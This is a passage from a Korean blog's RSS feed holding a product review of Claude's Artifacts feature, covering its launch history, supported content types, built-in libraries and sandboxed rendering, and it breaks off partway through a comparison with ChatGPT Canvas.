&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>auto mode</category>
      <category>bypassPermissions</category>
      <category>claude code</category>
      <category>Claude Code Auto mode</category>
      <category>dangerously-skip-permissions</category>
      <category>enable-auto-mode</category>
      <category>permission mode</category>
      <category>권한 모드</category>
      <category>자동 실행</category>
      <category>클로드 코드</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/562</guid>
      <comments>https://goddaehee.tistory.com/562#entry562comment</comments>
      <pubDate>Thu, 26 Mar 2026 00:38:52 +0900</pubDate>
    </item>
    <item>
      <title>Claude 신기능 리뷰 - 대화중 인터랙티브(차트&amp;middot;다이어그램&amp;middot;시각화) 자료 실시간 생성 기능 리뷰 : 말 한마디로 웹앱이 나오는 시대</title>
      <link>https://goddaehee.tistory.com/561</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;오늘은 클로드(Claude)의 &lt;b&gt;시각화 업데이트&lt;/b&gt;가 왜 AI 시장에서 주목받는지, 그리고 실제로 어떻게 쓸 수 있는지 정리해 보려고 한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2572&quot; data-origin-height=&quot;1434&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CG0EG/dJMcah4TiqX/yDWuuRH5BKmmBkJCodA5H1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CG0EG/dJMcah4TiqX/yDWuuRH5BKmmBkJCodA5H1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CG0EG/dJMcah4TiqX/yDWuuRH5BKmmBkJCodA5H1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCG0EG%2FdJMcah4TiqX%2FyDWuuRH5BKmmBkJCodA5H1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2572&quot; height=&quot;1434&quot; data-origin-width=&quot;2572&quot; data-origin-height=&quot;1434&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;도입: 텍스트의 한계를 넘어 '완성품'을 제시하는 AI&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Artifacts란 무엇인가
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;탄생 배경과 출시 타임라인&lt;/li&gt;
&lt;li&gt;지원 유형과 기술 스펙&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;'라이브 프론트엔드'의 탄생
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실시간 렌더링의 원리&lt;/li&gt;
&lt;li&gt;내장 라이브러리 생태계&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;정적인 챗GPT vs 동적인 클로드 &amp;mdash; 'UX 프릭션(Friction)'의 차이
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Canvas vs Artifacts 비교&lt;/li&gt;
&lt;li&gt;배포 기능의 결정적 차이&lt;/li&gt;
&lt;li&gt;커뮤니티 현장 반응 &amp;mdash; 찬사와 불만 모두&lt;/li&gt;
&lt;li&gt;바이브 코딩 도구와의 비교&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Bun 인수 &amp;mdash; 신의 한 수
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인수 배경과 타임라인&lt;/li&gt;
&lt;li&gt;기술적 의미&lt;/li&gt;
&lt;li&gt;Claude Code와의 관계&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;자연어 한마디로 CSS가 수정되는 마법&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;'0원' 무한 배포 파이프라인
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;내장 퍼블리시 기능&lt;/li&gt;
&lt;li&gt;무료 호스팅 플랫폼 비교&lt;/li&gt;
&lt;li&gt;바이브 코딩의 부상&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 적용 시나리오
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;금융 및 데이터 대시보드&lt;/li&gt;
&lt;li&gt;여행 및 일상 기획&lt;/li&gt;
&lt;li&gt;미디어 및 콘텐츠 제작&lt;/li&gt;
&lt;li&gt;나만의 맞춤형 도구&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;2026년 최신 업데이트
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인라인 시각화&lt;/li&gt;
&lt;li&gt;AI-Powered Artifacts&lt;/li&gt;
&lt;li&gt;영구 저장소와 MCP 연동&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;알아두어야 할 한계점&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론: 프론트엔드 개발의 민주화, 그리고 새로운 '공포'&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;이 글에서 다루는 내용&lt;/b&gt;&lt;br /&gt;클로드의 Artifacts 시각화 기능이 왜 다른지, 기술적으로 어떻게 돌아가는지, ChatGPT와 비교하면 뭐가 다른지를 공식 문서 기반으로 따져본다. &lt;br /&gt;Bun 인수가 가져온 변화부터 제로 컨피그 배포, 실전 활용 시나리오까지 하나씩 짚는다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1: 도입부 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 도입 : 텍스트의 한계를 넘어 '완성품'을 제시하는 AI&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ChatGPT나 클로드를 쓰다 보면 &quot;이 데이터가 표가 아니라 직접 조작할 수 있는 차트로 나오면 얼마나 좋을까?&quot;라는 생각이 한 번쯤 든다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;지금까지의 LLM이 코드를 짜주거나 텍스트를 요약해 주는 &lt;b&gt;'재료 공급자'&lt;/b&gt;였다면, 이제는 그 재료로 즉시 실행 가능한 &lt;b&gt;'완성품'&lt;/b&gt;을 내놓는 쪽으로 바뀌었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;클로드의 Artifacts는 이 전환의 핵심이다. 단순히 코드를 텍스트로 나열하는 것이 아니라, &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;HTML, CSS, JavaScript, React를 실시간으로 렌더링하여 즉시 상호작용할 수 있는 웹 애플리케이션을 채팅창 옆에 띄워준다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 관점&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이 글은 기능 나열이 아니다. 클로드의 시각화 기능이 &lt;b&gt;LLM 시장에서 왜 다른지&lt;/b&gt;를 기술적 근거와 공식 문서를 바탕으로 따져보려고 한다. Anthropic의 Bun 인수, 제로 컨피그 배포 파이프라인, 2026년 3월 인라인 시각화 업데이트까지 담았다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2: Artifacts란 무엇인가 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. Artifacts란 무엇인가&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;탄생 배경과 출시 타임라인&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Artifacts&lt;/b&gt;는 2024년 6월, Claude 3.5 Sonnet 출시와 함께 &lt;b&gt;기능 프리뷰(Feature Preview)&lt;/b&gt;로 처음 공개되었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이후 2024년 8월 27일, Claude.ai의 Free, Pro, Team 요금제에서 &lt;b&gt;정식 출시(GA)&lt;/b&gt;되었다. (이후 Max, Enterprise 등 추가 요금제에도 확대 적용)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic의 공식 발표에 따르면, 프리뷰 기간 동안 사용자들이 &lt;b&gt;&quot;수천만 개(tens of millions)&quot;&lt;/b&gt;의 Artifacts를 생성했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/artifacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic: Artifacts are now generally available&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Artifacts의 정의 (공식)&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Artifacts는 클로드가 코드 스니펫, 텍스트 문서, 웹사이트 디자인 등을 생성할 때 대화창 옆의 &lt;b&gt;전용 윈도우에 실시간으로 렌더링&lt;/b&gt;하는 기능이다. 사용자가 결과물을 즉시 보고, 편집하고, 반복 개선할 수 있는 동적 작업 공간을 제공한다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 5px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://support.claude.com/en/articles/9487310-what-are-artifacts-and-how-do-i-use-them&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Help Center: What are artifacts&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;클로드는 다음 조건을 충족하는 콘텐츠를 Artifact로 생성한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;상당한 분량(일반적으로 15줄 이상)의 독립적인 콘텐츠&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;사용자가 편집하거나 반복 수정할 가능성이 높은 콘텐츠&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;단독으로 활용할 수 있을 만큼 완결성이 있는 콘텐츠&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;나중에 다시 참조할 가능성이 높은 콘텐츠&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;지원 유형과 기술 스펙&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Artifacts가 지원하는 콘텐츠 유형은 다음과 같다. (공식 Help Center + 개발자 문서 종합)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;유형&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;MIME 타입&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;React 컴포넌트&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;application/vnd.ant.react&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;React 18 기반 함수형 컴포넌트, 상태 관리, Tailwind CSS 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;HTML 페이지&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;text/html&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;HTML + CSS + JavaScript를 하나의 파일로 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;SVG 이미지&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;image/svg+xml&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;벡터 그래픽 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Mermaid 다이어그램&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;application/vnd.ant.mermaid&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;플로우차트, 시퀀스 다이어그램, ERD 등&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;마크다운 문서&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;text/markdown&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;서식이 적용된 텍스트 문서&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;코드 스니펫&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;다양한 언어&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Python, JavaScript 등 (표시 전용)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://support.claude.com/en/articles/9487310-what-are-artifacts-and-how-do-i-use-them&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Help Center: What are artifacts&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그런데 Artifacts에는 &lt;b&gt;사전 설치(Pre-installed)&lt;/b&gt;된 라이브러리들이 있다. 아래 목록은 서드파티 리버스 엔지니어링과 커뮤니티 분석 기반이며, Anthropic이 공식 목록을 별도로 공개하지는 않았다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;라이브러리&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;용도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;React 18&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;UI 프레임워크 (Hooks, 상태 관리 전체 지원)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;TypeScript&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;타입 안전한 JavaScript&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Tailwind CSS&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;유틸리티 기반 CSS 프레임워크&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;shadcn/ui&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;사전 빌드된 UI 컴포넌트 라이브러리 (전체 컴포넌트 설치됨)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Recharts&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;동적 차트 및 데이터 시각화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Lucide React&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;아이콘 라이브러리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Three.js&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;3D 그래픽 및 애니메이션&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;추가로 &lt;b&gt;Chart.js, D3.js, Plotly.js, p5.js&lt;/b&gt; 등은 &lt;code&gt;cdnjs.cloudflare.com&lt;/code&gt; CDN을 통해 외부 로드가 가능하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Artifacts의 시스템 프롬프트에서 외부 스크립트 로드를 이 CDN으로만 제한하고 있기 때문이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.reidbarber.com/blog/reverse-engineering-claude-artifacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Reid Barber: Reverse engineering Claude Artifacts&lt;/a&gt; &amp;mdash; 서드파티 리버스 엔지니어링 기반 정보)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3: 라이브 프론트엔드의 탄생 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. '라이브 프론트엔드'의 탄생&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;실시간 렌더링의 원리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;기존 AI들은 코드를 텍스트로 길게 나열하고 &quot;이걸 복사해서 실행해 보세요&quot;라고 했다. 클로드는 HTML, CSS, JavaScript를 실시간으로 렌더링해서 &lt;b&gt;우측 패널에 바로 작동하는 프론트엔드 결과물&lt;/b&gt;을 띄운다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Artifacts의 렌더링은 다음과 같은 구조로 작동한다:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;입력(Input):&lt;/b&gt; 사용자가 자연어로 프롬프트를 입력&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;처리(Process):&lt;/b&gt; 클로드가 HTML/CSS/JS 또는 React 코드를 생성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;렌더링(Engine):&lt;/b&gt; &lt;b&gt;샌드박스된 iframe&lt;/b&gt; 안에서 클라이언트 사이드로 실행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;출력(Output):&lt;/b&gt; 즉석에서 렌더링된 완전한 웹 컴포넌트가 사이드 패널에 표시&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;샌드박스 보안 모델&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Artifacts는 &lt;b&gt;샌드박스된 iframe&lt;/b&gt; 내에서 실행된다. 메인 페이지와 Artifact iframe 사이는 &lt;code&gt;window.postMessage()&lt;/code&gt;를 통해 통신하며, 엄격한 CSP 헤더와 프로세스 격리가 적용되어 메인 Claude.ai 세션을 보호한다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 5px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: Reid Barber의 리버스 엔지니어링 분석 기반)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이미지 출력이 아니다. 마우스를 올리면 상세 정보가 뜨는 &lt;b&gt;호버(Hover) 효과&lt;/b&gt;, 클릭에 반응하는 &lt;b&gt;인터랙션&lt;/b&gt;, 입력값을 바꾸면 결과가 즉각 바뀌는 &lt;b&gt;양방향 데이터 바인딩&lt;/b&gt;까지 된다. 말 그대로 움직이는 앱이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4: ChatGPT vs Claude --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 정적인 챗GPT vs 동적인 클로드 &amp;mdash; 'UX 프릭션(Friction)'의 차이&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Canvas vs Artifacts 비교&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ChatGPT의 Canvas는 2024년 10월 코드/텍스트 에디터로 출시되었고, 2025년 1월에 HTML과 React 코드 렌더링 기능이 추가되었다. 그러나 두 플랫폼의 접근 방식은 근본적으로 다르다. &lt;b&gt;(2026년 3월 기준 비교)&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;비교 항목&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Claude Artifacts&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;ChatGPT Canvas&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;핵심 철학&lt;/b&gt;&lt;/td&gt;
